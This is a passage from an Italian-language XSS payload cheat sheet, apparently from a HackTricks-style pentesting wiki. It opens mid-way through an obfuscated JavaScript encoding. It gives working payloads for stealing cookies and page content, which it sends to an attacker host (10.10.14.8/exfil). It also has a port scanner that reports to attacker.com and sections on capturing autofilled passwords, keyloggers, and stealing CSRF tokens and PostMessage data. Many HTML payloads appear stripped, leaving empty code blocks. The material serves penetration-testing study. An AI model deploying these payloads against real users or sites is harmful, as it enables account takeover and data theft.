(゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## Payload comuni XSS ### Diversi payload in 1 {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} ### Trappola Iframe Costringere l'utente a navigare nella pagina senza uscire da un iframe e rubare le sue azioni (inclusi i dati inviati nei moduli): {% content-ref url="../iframe-traps.md" %} [iframe-traps.md](../iframe-traps.md) {% endcontent-ref %} ### Recupera Cookies ```javascript /?c="+document.cookie> ``` {% hint style="info" %} Non **sarai in grado di accedere ai cookie da JavaScript** se il flag HTTPOnly è impostato nel cookie. Ma qui hai [alcuni modi per bypassare questa protezione](../hacking-with-cookies/#httponly) se sei abbastanza fortunato. {% endhint %} ### Rubare Contenuto della Pagina ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### Trova IP interni ```html ``` ### Scanner di porte (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Scanner di porte (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Cattura delle password di auto-compilazione ```javascript Username:
Password:
``` Quando vengono inseriti dati nel campo della password, il nome utente e la password vengono inviati al server dell'attaccante, anche se il client seleziona una password salvata e non scrive nulla, le credenziali verranno ex-filtrate. ### Keylogger Cercando su github ho trovato alcuni diversi: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * Puoi anche usare metasploit `http_javascript_keylogger` ### Furto di token CSRF ```javascript ``` ### Furto di messaggi PostMessage ```markup ``` ### Abusare dei Service Workers {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) {% endcontent-ref %} ### Accesso al Shadow DOM {% content-ref url="shadow-dom.md" %} [shadow-dom.md](shadow-dom.md) {% endcontent-ref %} ### Polyglots {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} ### Payloads XSS ciechi Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >
Click Me For An Awesome Time "> ">